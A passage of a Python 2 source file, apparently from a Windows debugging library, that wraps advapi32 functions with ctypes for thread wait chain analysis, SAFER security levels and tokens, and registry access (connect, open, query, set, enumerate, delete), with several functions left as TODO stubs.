1951 NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)()
1952 IsCycle = BOOL(0)
1953 _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle))
1954 while dwNodeCount.value > NodeCount:
1955 NodeCount = dwNodeCount.value
1956 NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)()
1957 _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle))
1958 return (
1959 [ WaitChainNodeInfo(NodeInfoArray[index]) for index in xrange(dwNodeCount.value) ],
1960 bool(IsCycle.value)
1961 )
1962
1963 # VOID WINAPI CloseThreadWaitChainSession(
1964 # __in HWCT WctHANDLE
1965 # );
1966 def CloseThreadWaitChainSession(WctHANDLE):
1967 _CloseThreadWaitChainSession = windll.advapi32.CloseThreadWaitChainSession
1968 _CloseThreadWaitChainSession.argtypes = [HWCT]
1969 _CloseThreadWaitChainSession(WctHANDLE)
1970
1971 # BOOL WINAPI SaferCreateLevel(
1972 # __in DWORD dwScopeId,
1973 # __in DWORD dwLevelId,
1974 # __in DWORD OpenFlags,
1975 # __out SAFER_LEVEL_HANDLE *pLevelHANDLE,
1976 # __reserved LPVOID lpReserved
1977 # );
1978 def SaferCreateLevel(dwScopeId=SAFER_SCOPEID_USER, dwLevelId=SAFER_LEVELID_NORMALUSER, OpenFlags=0):
1979 _SaferCreateLevel = windll.advapi32.SaferCreateLevel
1980 _SaferCreateLevel.argtypes = [DWORD, DWORD, DWORD, POINTER(SAFER_LEVEL_HANDLE), LPVOID]
1981 _SaferCreateLevel.restype = BOOL
1982 _SaferCreateLevel.errcheck = RaiseIfZero
1983
1984 hLevelHANDLE = SAFER_LEVEL_HANDLE(INVALID_HANDLE_VALUE)
1985 _SaferCreateLevel(dwScopeId, dwLevelId, OpenFlags, byref(hLevelHANDLE), None)
1986 return SaferLevelHANDLE(hLevelHANDLE.value)
1987
1988 # BOOL WINAPI SaferIdentifyLevel(
1989 # __in DWORD dwNumProperties,
1990 # __in_opt PSAFER_CODE_PROPERTIES pCodeProperties,
1991 # __out SAFER_LEVEL_HANDLE *pLevelHANDLE,
1992 # __reserved LPVOID lpReserved
1993 # );
1994
1995 # XXX TODO
1996
1997 # BOOL WINAPI SaferComputeTokenFromLevel(
1998 # __in SAFER_LEVEL_HANDLE LevelHANDLE,
1999 # __in_opt HANDLE InAccessToken,
2000 # __out PHANDLE OutAccessToken,
2001 # __in DWORD dwFlags,
2002 # __inout_opt LPVOID lpReserved
2003 # );
2004 def SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken=None, dwFlags=0):
2005 _SaferComputeTokenFromLevel = windll.advapi32.SaferComputeTokenFromLevel
2006 _SaferComputeTokenFromLevel.argtypes = [SAFER_LEVEL_HANDLE, HANDLE, PHANDLE, DWORD, LPDWORD]
2007 _SaferComputeTokenFromLevel.restype = BOOL
2008 _SaferComputeTokenFromLevel.errcheck = RaiseIfZero
2009
2010 OutAccessToken = HANDLE(INVALID_HANDLE_VALUE)
2011 lpReserved = DWORD(0)
2012 _SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken, byref(OutAccessToken), dwFlags, byref(lpReserved))
2013 return TokenHandle(OutAccessToken.value), lpReserved.value
2014
2015 # BOOL WINAPI SaferCloseLevel(
2016 # __in SAFER_LEVEL_HANDLE hLevelHANDLE
2017 # );
2018 def SaferCloseLevel(hLevelHANDLE):
2019 _SaferCloseLevel = windll.advapi32.SaferCloseLevel
2020 _SaferCloseLevel.argtypes = [SAFER_LEVEL_HANDLE]
2021 _SaferCloseLevel.restype = BOOL
2022 _SaferCloseLevel.errcheck = RaiseIfZero
2023
2024 if hasattr(hLevelHANDLE, 'value'):
2025 _SaferCloseLevel(hLevelHANDLE.value)
2026 else:
2027 _SaferCloseLevel(hLevelHANDLE)
2028
2029 # BOOL SaferiIsExecutableFileType(
2030 # __in LPCWSTR szFullPath,
2031 # __in BOOLEAN bFromShellExecute
2032 # );
2033 def SaferiIsExecutableFileType(szFullPath, bFromShellExecute = False):
2034 _SaferiIsExecutableFileType = windll.advapi32.SaferiIsExecutableFileType
2035 _SaferiIsExecutableFileType.argtypes = [LPWSTR, BOOLEAN]
2036 _SaferiIsExecutableFileType.restype = BOOL
2037 _SaferiIsExecutableFileType.errcheck = RaiseIfLastError
2038
2039 SetLastError(ERROR_SUCCESS)
2040 return bool(_SaferiIsExecutableFileType(unicode(szFullPath), bFromShellExecute))
2041
2042 # useful alias since I'm likely to misspell it :P
2043 SaferIsExecutableFileType = SaferiIsExecutableFileType
2044
2045 #------------------------------------------------------------------------------
2046
2047 # LONG WINAPI RegCloseKey(
2048 # __in HKEY hKey
2049 # );
2050 def RegCloseKey(hKey):
2051 if hasattr(hKey, 'value'):
2052 value = hKey.value
2053 else:
2054 value = hKey
2055
2056 if value in (
2057 HKEY_CLASSES_ROOT,
2058 HKEY_CURRENT_USER,
2059 HKEY_LOCAL_MACHINE,
2060 HKEY_USERS,
2061 HKEY_PERFORMANCE_DATA,
2062 HKEY_CURRENT_CONFIG
2063 ):
2064 return
2065
2066 _RegCloseKey = windll.advapi32.RegCloseKey
2067 _RegCloseKey.argtypes = [HKEY]
2068 _RegCloseKey.restype = LONG
2069 _RegCloseKey.errcheck = RaiseIfNotErrorSuccess
2070 _RegCloseKey(hKey)
2071
2072 # LONG WINAPI RegConnectRegistry(
2073 # __in_opt LPCTSTR lpMachineName,
2074 # __in HKEY hKey,
2075 # __out PHKEY phkResult
2076 # );
2077 def RegConnectRegistryA(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE):
2078 _RegConnectRegistryA = windll.advapi32.RegConnectRegistryA
2079 _RegConnectRegistryA.argtypes = [LPSTR, HKEY, PHKEY]
2080 _RegConnectRegistryA.restype = LONG
2081 _RegConnectRegistryA.errcheck = RaiseIfNotErrorSuccess
2082
2083 hkResult = HKEY(INVALID_HANDLE_VALUE)
2084 _RegConnectRegistryA(lpMachineName, hKey, byref(hkResult))
2085 return RegistryKeyHANDLE(hkResult.value)
2086
2087 def RegConnectRegistryW(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE):
2088 _RegConnectRegistryW = windll.advapi32.RegConnectRegistryW
2089 _RegConnectRegistryW.argtypes = [LPWSTR, HKEY, PHKEY]
2090 _RegConnectRegistryW.restype = LONG
2091 _RegConnectRegistryW.errcheck = RaiseIfNotErrorSuccess
2092
2093 hkResult = HKEY(INVALID_HANDLE_VALUE)
2094 _RegConnectRegistryW(lpMachineName, hKey, byref(hkResult))
2095 return RegistryKeyHANDLE(hkResult.value)
2096
2097 RegConnectRegistry = GuessStringType(RegConnectRegistryA, RegConnectRegistryW)
2098
2099 # LONG WINAPI RegCreateKey(
2100 # __in HKEY hKey,
2101 # __in_opt LPCTSTR lpSubKey,
2102 # __out PHKEY phkResult
2103 # );
2104 def RegCreateKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2105 _RegCreateKeyA = windll.advapi32.RegCreateKeyA
2106 _RegCreateKeyA.argtypes = [HKEY, LPSTR, PHKEY]
2107 _RegCreateKeyA.restype = LONG
2108 _RegCreateKeyA.errcheck = RaiseIfNotErrorSuccess
2109
2110 hkResult = HKEY(INVALID_HANDLE_VALUE)
2111 _RegCreateKeyA(hKey, lpSubKey, byref(hkResult))
2112 return RegistryKeyHANDLE(hkResult.value)
2113
2114 def RegCreateKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2115 _RegCreateKeyW = windll.advapi32.RegCreateKeyW
2116 _RegCreateKeyW.argtypes = [HKEY, LPWSTR, PHKEY]
2117 _RegCreateKeyW.restype = LONG
2118 _RegCreateKeyW.errcheck = RaiseIfNotErrorSuccess
2119
2120 hkResult = HKEY(INVALID_HANDLE_VALUE)
2121 _RegCreateKeyW(hKey, lpSubKey, byref(hkResult))
2122 return RegistryKeyHANDLE(hkResult.value)
2123
2124 RegCreateKey = GuessStringType(RegCreateKeyA, RegCreateKeyW)
2125
2126 # LONG WINAPI RegCreateKeyEx(
2127 # __in HKEY hKey,
2128 # __in LPCTSTR lpSubKey,
2129 # __reserved DWORD Reserved,
2130 # __in_opt LPTSTR lpClass,
2131 # __in DWORD dwOptions,
2132 # __in REGSAM samDesired,
2133 # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
2134 # __out PHKEY phkResult,
2135 # __out_opt LPDWORD lpdwDisposition
2136 # );
2137
2138 # XXX TODO
2139
2140 # LONG WINAPI RegOpenKey(
2141 # __in HKEY hKey,
2142 # __in_opt LPCTSTR lpSubKey,
2143 # __out PHKEY phkResult
2144 # );
2145 def RegOpenKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2146 _RegOpenKeyA = windll.advapi32.RegOpenKeyA
2147 _RegOpenKeyA.argtypes = [HKEY, LPSTR, PHKEY]
2148 _RegOpenKeyA.restype = LONG
2149 _RegOpenKeyA.errcheck = RaiseIfNotErrorSuccess
2150
2151 hkResult = HKEY(INVALID_HANDLE_VALUE)
2152 _RegOpenKeyA(hKey, lpSubKey, byref(hkResult))
2153 return RegistryKeyHANDLE(hkResult.value)
2154
2155 def RegOpenKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None):
2156 _RegOpenKeyW = windll.advapi32.RegOpenKeyW
2157 _RegOpenKeyW.argtypes = [HKEY, LPWSTR, PHKEY]
2158 _RegOpenKeyW.restype = LONG
2159 _RegOpenKeyW.errcheck = RaiseIfNotErrorSuccess
2160
2161 hkResult = HKEY(INVALID_HANDLE_VALUE)
2162 _RegOpenKeyW(hKey, lpSubKey, byref(hkResult))
2163 return RegistryKeyHANDLE(hkResult.value)
2164
2165 RegOpenKey = GuessStringType(RegOpenKeyA, RegOpenKeyW)
2166
2167 # LONG WINAPI RegOpenKeyEx(
2168 # __in HKEY hKey,
2169 # __in_opt LPCTSTR lpSubKey,
2170 # __reserved DWORD ulOptions,
2171 # __in REGSAM samDesired,
2172 # __out PHKEY phkResult
2173 # );
2174 def RegOpenKeyExA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS):
2175 _RegOpenKeyExA = windll.advapi32.RegOpenKeyExA
2176 _RegOpenKeyExA.argtypes = [HKEY, LPSTR, DWORD, REGSAM, PHKEY]
2177 _RegOpenKeyExA.restype = LONG
2178 _RegOpenKeyExA.errcheck = RaiseIfNotErrorSuccess
2179
2180 hkResult = HKEY(INVALID_HANDLE_VALUE)
2181 _RegOpenKeyExA(hKey, lpSubKey, 0, samDesired, byref(hkResult))
2182 return RegistryKeyHANDLE(hkResult.value)
2183
2184 def RegOpenKeyExW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None, samDesired = KEY_ALL_ACCESS):
2185 _RegOpenKeyExW = windll.advapi32.RegOpenKeyExW
2186 _RegOpenKeyExW.argtypes = [HKEY, LPWSTR, DWORD, REGSAM, PHKEY]
2187 _RegOpenKeyExW.restype = LONG
2188 _RegOpenKeyExW.errcheck = RaiseIfNotErrorSuccess
2189
2190 hkResult = HKEY(INVALID_HANDLE_VALUE)
2191 _RegOpenKeyExW(hKey, lpSubKey, 0, samDesired, byref(hkResult))
2192 return RegistryKeyHANDLE(hkResult.value)
2193
2194 RegOpenKeyEx = GuessStringType(RegOpenKeyExA, RegOpenKeyExW)
2195
2196 # LONG WINAPI RegOpenCurrentUser(
2197 # __in REGSAM samDesired,
2198 # __out PHKEY phkResult
2199 # );
2200 def RegOpenCurrentUser(samDesired = KEY_ALL_ACCESS):
2201 _RegOpenCurrentUser = windll.advapi32.RegOpenCurrentUser
2202 _RegOpenCurrentUser.argtypes = [REGSAM, PHKEY]
2203 _RegOpenCurrentUser.restype = LONG
2204 _RegOpenCurrentUser.errcheck = RaiseIfNotErrorSuccess
2205
2206 hkResult = HKEY(INVALID_HANDLE_VALUE)
2207 _RegOpenCurrentUser(samDesired, byref(hkResult))
2208 return RegistryKeyHANDLE(hkResult.value)
2209
2210 # LONG WINAPI RegOpenUserClassesRoot(
2211 # __in HANDLE hToken,
2212 # __reserved DWORD dwOptions,
2213 # __in REGSAM samDesired,
2214 # __out PHKEY phkResult
2215 # );
2216 def RegOpenUserClassesRoot(hToken, samDesired = KEY_ALL_ACCESS):
2217 _RegOpenUserClassesRoot = windll.advapi32.RegOpenUserClassesRoot
2218 _RegOpenUserClassesRoot.argtypes = [HANDLE, DWORD, REGSAM, PHKEY]
2219 _RegOpenUserClassesRoot.restype = LONG
2220 _RegOpenUserClassesRoot.errcheck = RaiseIfNotErrorSuccess
2221
2222 hkResult = HKEY(INVALID_HANDLE_VALUE)
2223 _RegOpenUserClassesRoot(hToken, 0, samDesired, byref(hkResult))
2224 return RegistryKeyHANDLE(hkResult.value)
2225
2226 # LONG WINAPI RegQueryValue(
2227 # __in HKEY hKey,
2228 # __in_opt LPCTSTR lpSubKey,
2229 # __out_opt LPTSTR lpValue,
2230 # __inout_opt PLONG lpcbValue
2231 # );
2232 def RegQueryValueA(hKey, lpSubKey = None):
2233 _RegQueryValueA = windll.advapi32.RegQueryValueA
2234 _RegQueryValueA.argtypes = [HKEY, LPSTR, LPVOID, PLONG]
2235 _RegQueryValueA.restype = LONG
2236 _RegQueryValueA.errcheck = RaiseIfNotErrorSuccess
2237
2238 cbValue = LONG(0)
2239 _RegQueryValueA(hKey, lpSubKey, None, byref(cbValue))
2240 lpValue = ctypes.create_string_buffer(cbValue.value)
2241 _RegQueryValueA(hKey, lpSubKey, lpValue, byref(cbValue))
2242 return lpValue.value
2243
2244 def RegQueryValueW(hKey, lpSubKey = None):
2245 _RegQueryValueW = windll.advapi32.RegQueryValueW
2246 _RegQueryValueW.argtypes = [HKEY, LPWSTR, LPVOID, PLONG]
2247 _RegQueryValueW.restype = LONG
2248 _RegQueryValueW.errcheck = RaiseIfNotErrorSuccess
2249
2250 cbValue = LONG(0)
2251 _RegQueryValueW(hKey, lpSubKey, None, byref(cbValue))
2252 lpValue = ctypes.create_unicode_buffer(cbValue.value * sizeof(WCHAR))
2253 _RegQueryValueW(hKey, lpSubKey, lpValue, byref(cbValue))
2254 return lpValue.value
2255
2256 RegQueryValue = GuessStringType(RegQueryValueA, RegQueryValueW)
2257
2258 # LONG WINAPI RegQueryValueEx(
2259 # __in HKEY hKey,
2260 # __in_opt LPCTSTR lpValueName,
2261 # __reserved LPDWORD lpReserved,
2262 # __out_opt LPDWORD lpType,
2263 # __out_opt LPBYTE lpData,
2264 # __inout_opt LPDWORD lpcbData
2265 # );
2266 def _internal_RegQueryValueEx(ansi, hKey, lpValueName = None, bGetData = True):
2267 _RegQueryValueEx = _caller_RegQueryValueEx(ansi)
2268
2269 cbData = DWORD(0)
2270 dwType = DWORD(-1)
2271 _RegQueryValueEx(hKey, lpValueName, None, byref(dwType), None, byref(cbData))
2272 Type = dwType.value
2273
2274 if not bGetData:
2275 return cbData.value, Type
2276
2277 if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN
2278 if cbData.value != 4:
2279 raise ValueError("REG_DWORD value of size %d" % cbData.value)
2280 dwData = DWORD(0)
2281 _RegQueryValueEx(hKey, lpValueName, None, None, byref(dwData), byref(cbData))
2282 return dwData.value, Type
2283
2284 if Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN
2285 if cbData.value != 8:
2286 raise ValueError("REG_QWORD value of size %d" % cbData.value)
2287 qwData = QWORD(0)
2288 _RegQueryValueEx(hKey, lpValueName, None, None, byref(qwData), byref(cbData))
2289 return qwData.value, Type
2290
2291 if Type in (REG_SZ, REG_EXPAND_SZ):
2292 if ansi:
2293 szData = ctypes.create_string_buffer(cbData.value)
2294 else:
2295 szData = ctypes.create_unicode_buffer(cbData.value)
2296 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2297 return szData.value, Type
2298
2299 if Type == REG_MULTI_SZ:
2300 if ansi:
2301 szData = ctypes.create_string_buffer(cbData.value)
2302 else:
2303 szData = ctypes.create_unicode_buffer(cbData.value)
2304 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2305 Data = szData[:]
2306 if ansi:
2307 aData = Data.split('\0')
2308 else:
2309 aData = Data.split(u'\0')
2310 aData = [token for token in aData if token]
2311 return aData, Type
2312
2313 if Type == REG_LINK:
2314 szData = ctypes.create_unicode_buffer(cbData.value)
2315 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2316 return szData.value, Type
2317
2318 # REG_BINARY, REG_NONE, and any future types
2319 szData = ctypes.create_string_buffer(cbData.value)
2320 _RegQueryValueEx(hKey, lpValueName, None, None, byref(szData), byref(cbData))
2321 return szData.raw, Type
2322
2323 def _caller_RegQueryValueEx(ansi):
2324 if ansi:
2325 _RegQueryValueEx = windll.advapi32.RegQueryValueExA
2326 _RegQueryValueEx.argtypes = [HKEY, LPSTR, LPVOID, PDWORD, LPVOID, PDWORD]
2327 else:
2328 _RegQueryValueEx = windll.advapi32.RegQueryValueExW
2329 _RegQueryValueEx.argtypes = [HKEY, LPWSTR, LPVOID, PDWORD, LPVOID, PDWORD]
2330 _RegQueryValueEx.restype = LONG
2331 _RegQueryValueEx.errcheck = RaiseIfNotErrorSuccess
2332 return _RegQueryValueEx
2333
2334 # see _internal_RegQueryValueEx
2335 def RegQueryValueExA(hKey, lpValueName = None, bGetData = True):
2336 return _internal_RegQueryValueEx(True, hKey, lpValueName, bGetData)
2337
2338 # see _internal_RegQueryValueEx
2339 def RegQueryValueExW(hKey, lpValueName = None, bGetData = True):
2340 return _internal_RegQueryValueEx(False, hKey, lpValueName, bGetData)
2341
2342 RegQueryValueEx = GuessStringType(RegQueryValueExA, RegQueryValueExW)
2343
2344 # LONG WINAPI RegSetValueEx(
2345 # __in HKEY hKey,
2346 # __in_opt LPCTSTR lpValueName,
2347 # __reserved DWORD Reserved,
2348 # __in DWORD dwType,
2349 # __in_opt const BYTE *lpData,
2350 # __in DWORD cbData
2351 # );
2352 def RegSetValueEx(hKey, lpValueName = None, lpData = None, dwType = None):
2353
2354 # Determine which version of the API to use, ANSI or Widechar.
2355 if lpValueName is None:
2356 if isinstance(lpData, GuessStringType.t_ansi):
2357 ansi = True
2358 elif isinstance(lpData, GuessStringType.t_unicode):
2359 ansi = False
2360 else:
2361 ansi = (GuessStringType.t_ansi == GuessStringType.t_default)
2362 elif isinstance(lpValueName, GuessStringType.t_ansi):
2363 ansi = True
2364 elif isinstance(lpValueName, GuessStringType.t_unicode):
2365 ansi = False
2366 else:
2367 raise TypeError("String expected, got %s instead" % type(lpValueName))
2368
2369 # Autodetect the type when not given.
2370 # TODO: improve detection of DWORD and QWORD by seeing if the value "fits".
2371 if dwType is None:
2372 if lpValueName is None:
2373 dwType = REG_SZ
2374 elif lpData is None:
2375 dwType = REG_NONE
2376 elif isinstance(lpData, GuessStringType.t_ansi):
2377 dwType = REG_SZ
2378 elif isinstance(lpData, GuessStringType.t_unicode):
2379 dwType = REG_SZ
2380 elif isinstance(lpData, int):
2381 dwType = REG_DWORD
2382 elif isinstance(lpData, long):
2383 dwType = REG_QWORD
2384 else:
2385 dwType = REG_BINARY
2386
2387 # Load the ctypes caller.
2388 if ansi:
2389 _RegSetValueEx = windll.advapi32.RegSetValueExA
2390 _RegSetValueEx.argtypes = [HKEY, LPSTR, DWORD, DWORD, LPVOID, DWORD]
2391 else:
2392 _RegSetValueEx = windll.advapi32.RegSetValueExW
2393 _RegSetValueEx.argtypes = [HKEY, LPWSTR, DWORD, DWORD, LPVOID, DWORD]
2394 _RegSetValueEx.restype = LONG
2395 _RegSetValueEx.errcheck = RaiseIfNotErrorSuccess
2396
2397 # Convert the arguments so ctypes can understand them.
2398 if lpData is None:
2399 DataRef = None
2400 DataSize = 0
2401 else:
2402 if dwType in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN
2403 Data = DWORD(lpData)
2404 elif dwType == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN
2405 Data = QWORD(lpData)
2406 elif dwType in (REG_SZ, REG_EXPAND_SZ):
2407 if ansi:
2408 Data = ctypes.create_string_buffer(lpData)
2409 else:
2410 Data = ctypes.create_unicode_buffer(lpData)
2411 elif dwType == REG_MULTI_SZ:
2412 if ansi:
2413 Data = ctypes.create_string_buffer('\0'.join(lpData) + '\0\0')
2414 else:
2415 Data = ctypes.create_unicode_buffer(u'\0'.join(lpData) + u'\0\0')
2416 elif dwType == REG_LINK:
2417 Data = ctypes.create_unicode_buffer(lpData)
2418 else:
2419 Data = ctypes.create_string_buffer(lpData)
2420 DataRef = byref(Data)
2421 DataSize = sizeof(Data)
2422
2423 # Call the API with the converted arguments.
2424 _RegSetValueEx(hKey, lpValueName, 0, dwType, DataRef, DataSize)
2425
2426 # No "GuessStringType" here since detection is done inside.
2427 RegSetValueExA = RegSetValueExW = RegSetValueEx
2428
2429 # LONG WINAPI RegEnumKey(
2430 # __in HKEY hKey,
2431 # __in DWORD dwIndex,
2432 # __out LPTSTR lpName,
2433 # __in DWORD cchName
2434 # );
2435 def RegEnumKeyA(hKey, dwIndex):
2436 _RegEnumKeyA = windll.advapi32.RegEnumKeyA
2437 _RegEnumKeyA.argtypes = [HKEY, DWORD, LPSTR, DWORD]
2438 _RegEnumKeyA.restype = LONG
2439
2440 cchName = 1024
2441 while True:
2442 lpName = ctypes.create_string_buffer(cchName)
2443 errcode = _RegEnumKeyA(hKey, dwIndex, lpName, cchName)
2444 if errcode != ERROR_MORE_DATA:
2445 break
2446 cchName = cchName + 1024
2447 if cchName > 65536:
2448 raise ctypes.WinError(errcode)
2449 if errcode == ERROR_NO_MORE_ITEMS:
2450 return None
2451 if errcode != ERROR_SUCCESS:
2452 raise ctypes.WinError(errcode)
2453 return lpName.value
2454
2455 def RegEnumKeyW(hKey, dwIndex):
2456 _RegEnumKeyW = windll.advapi32.RegEnumKeyW
2457 _RegEnumKeyW.argtypes = [HKEY, DWORD, LPWSTR, DWORD]
2458 _RegEnumKeyW.restype = LONG
2459
2460 cchName = 512
2461 while True:
2462 lpName = ctypes.create_unicode_buffer(cchName)
2463 errcode = _RegEnumKeyW(hKey, dwIndex, lpName, cchName * 2)
2464 if errcode != ERROR_MORE_DATA:
2465 break
2466 cchName = cchName + 512
2467 if cchName > 32768:
2468 raise ctypes.WinError(errcode)
2469 if errcode == ERROR_NO_MORE_ITEMS:
2470 return None
2471 if errcode != ERROR_SUCCESS:
2472 raise ctypes.WinError(errcode)
2473 return lpName.value
2474
2475 RegEnumKey = DefaultStringType(RegEnumKeyA, RegEnumKeyW)
2476
2477 # LONG WINAPI RegEnumKeyEx(
2478 # __in HKEY hKey,
2479 # __in DWORD dwIndex,
2480 # __out LPTSTR lpName,
2481 # __inout LPDWORD lpcName,
2482 # __reserved LPDWORD lpReserved,
2483 # __inout LPTSTR lpClass,
2484 # __inout_opt LPDWORD lpcClass,
2485 # __out_opt PFILETIME lpftLastWriteTime
2486 # );
2487
2488 # XXX TODO
2489
2490 # LONG WINAPI RegEnumValue(
2491 # __in HKEY hKey,
2492 # __in DWORD dwIndex,
2493 # __out LPTSTR lpValueName,
2494 # __inout LPDWORD lpcchValueName,
2495 # __reserved LPDWORD lpReserved,
2496 # __out_opt LPDWORD lpType,
2497 # __out_opt LPBYTE lpData,
2498 # __inout_opt LPDWORD lpcbData
2499 # );
2500 def _internal_RegEnumValue(ansi, hKey, dwIndex, bGetData = True):
2501 if ansi:
2502 _RegEnumValue = windll.advapi32.RegEnumValueA
2503 _RegEnumValue.argtypes = [HKEY, DWORD, LPSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD]
2504 else:
2505 _RegEnumValue = windll.advapi32.RegEnumValueW
2506 _RegEnumValue.argtypes = [HKEY, DWORD, LPWSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD]
2507 _RegEnumValue.restype = LONG
2508
2509 cchValueName = DWORD(1024)
2510 dwType = DWORD(-1)
2511 lpcchValueName = byref(cchValueName)
2512 lpType = byref(dwType)
2513 if ansi:
2514 lpValueName = ctypes.create_string_buffer(cchValueName.value)
2515 else:
2516 lpValueName = ctypes.create_unicode_buffer(cchValueName.value)
2517 if bGetData:
2518 cbData = DWORD(0)
2519 lpcbData = byref(cbData)
2520 else:
2521 lpcbData = None
2522 lpData = None
2523 errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData)
2524
2525 if errcode == ERROR_MORE_DATA or (bGetData and errcode == ERROR_SUCCESS):
2526 if ansi:
2527 cchValueName.value = cchValueName.value + sizeof(CHAR)
2528 lpValueName = ctypes.create_string_buffer(cchValueName.value)
2529 else:
2530 cchValueName.value = cchValueName.value + sizeof(WCHAR)
2531 lpValueName = ctypes.create_unicode_buffer(cchValueName.value)
2532
2533 if bGetData:
2534 Type = dwType.value
2535
2536 if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN
2537 if cbData.value != sizeof(DWORD):
2538 raise ValueError("REG_DWORD value of size %d" % cbData.value)
2539 Data = DWORD(0)
2540
2541 elif Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN
2542 if cbData.value != sizeof(QWORD):
2543 raise ValueError("REG_QWORD value of size %d" % cbData.value)
2544 Data = QWORD(0)
2545
2546 elif Type in (REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ):
2547 if ansi:
2548 Data = ctypes.create_string_buffer(cbData.value)
2549 else:
2550 Data = ctypes.create_unicode_buffer(cbData.value)
2551
2552 elif Type == REG_LINK:
2553 Data = ctypes.create_unicode_buffer(cbData.value)
2554
2555 else: # REG_BINARY, REG_NONE, and any future types
2556 Data = ctypes.create_string_buffer(cbData.value)
2557
2558 lpData = byref(Data)
2559
2560 errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData)
2561
2562 if errcode == ERROR_NO_MORE_ITEMS:
2563 return None
2564 #if errcode != ERROR_SUCCESS:
2565 # raise ctypes.WinError(errcode)
2566
2567 if not bGetData:
2568 return lpValueName.value, dwType.value
2569
2570 if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_QWORD, REG_SZ, REG_EXPAND_SZ, REG_LINK): # REG_DWORD_LITTLE_ENDIAN, REG_QWORD_LITTLE_ENDIAN
2571 return lpValueName.value, dwType.value, Data.value
2572
2573 if Type == REG_MULTI_SZ:
2574 sData = Data[:]
2575 del Data
2576 if ansi:
2577 aData = sData.split('\0')
2578 else:
2579 aData = sData.split(u'\0')
2580 aData = [token for token in aData if token]
2581 return lpValueName.value, dwType.value, aData
2582
2583 # REG_BINARY, REG_NONE, and any future types
2584 return lpValueName.value, dwType.value, Data.raw
2585
2586 def RegEnumValueA(hKey, dwIndex, bGetData = True):
2587 return _internal_RegEnumValue(True, hKey, dwIndex, bGetData)
2588
2589 def RegEnumValueW(hKey, dwIndex, bGetData = True):
2590 return _internal_RegEnumValue(False, hKey, dwIndex, bGetData)
2591
2592 RegEnumValue = DefaultStringType(RegEnumValueA, RegEnumValueW)
2593
2594 # XXX TODO
2595
2596 # LONG WINAPI RegSetKeyValue(
2597 # __in HKEY hKey,
2598 # __in_opt LPCTSTR lpSubKey,
2599 # __in_opt LPCTSTR lpValueName,
2600 # __in DWORD dwType,
2601 # __in_opt LPCVOID lpData,
2602 # __in DWORD cbData
2603 # );
2604
2605 # XXX TODO
2606
2607 # LONG WINAPI RegQueryMultipleValues(
2608 # __in HKEY hKey,
2609 # __out PVALENT val_list,
2610 # __in DWORD num_vals,
2611 # __out_opt LPTSTR lpValueBuf,
2612 # __inout_opt LPDWORD ldwTotsize
2613 # );
2614
2615 # XXX TODO
2616
2617 # LONG WINAPI RegDeleteValue(
2618 # __in HKEY hKey,
2619 # __in_opt LPCTSTR lpValueName
2620 # );
2621 def RegDeleteValueA(hKeySrc, lpValueName = None):
2622 _RegDeleteValueA = windll.advapi32.RegDeleteValueA
2623 _RegDeleteValueA.argtypes = [HKEY, LPSTR]
2624 _RegDeleteValueA.restype = LONG
2625 _RegDeleteValueA.errcheck = RaiseIfNotErrorSuccess
2626 _RegDeleteValueA(hKeySrc, lpValueName)
2627 def RegDeleteValueW(hKeySrc, lpValueName = None):
2628 _RegDeleteValueW = windll.advapi32.RegDeleteValueW
2629 _RegDeleteValueW.argtypes = [HKEY, LPWSTR]
2630 _RegDeleteValueW.restype = LONG
2631 _RegDeleteValueW.errcheck = RaiseIfNotErrorSuccess
2632 _RegDeleteValueW(hKeySrc, lpValueName)
2633 RegDeleteValue = GuessStringType(RegDeleteValueA, RegDeleteValueW)
2634
2635 # LONG WINAPI RegDeleteKeyValue(
2636 # __in HKEY hKey,
2637 # __in_opt LPCTSTR lpSubKey,
2638 # __in_opt LPCTSTR lpValueName
2639 # );
2640 def RegDeleteKeyValueA(hKeySrc, lpSubKey = None, lpValueName = None):
2641 _RegDeleteKeyValueA = windll.advapi32.RegDeleteKeyValueA
2642 _RegDeleteKeyValueA.argtypes = [HKEY, LPSTR, LPSTR]
2643 _RegDeleteKeyValueA.restype = LONG
2644 _RegDeleteKeyValueA.errcheck = RaiseIfNotErrorSuccess
2645 _RegDeleteKeyValueA(hKeySrc, lpSubKey, lpValueName)
2646 def RegDeleteKeyValueW(hKeySrc, lpSubKey = None, lpValueName = None):
2647 _RegDeleteKeyValueW = windll.advapi32.RegDeleteKeyValueW
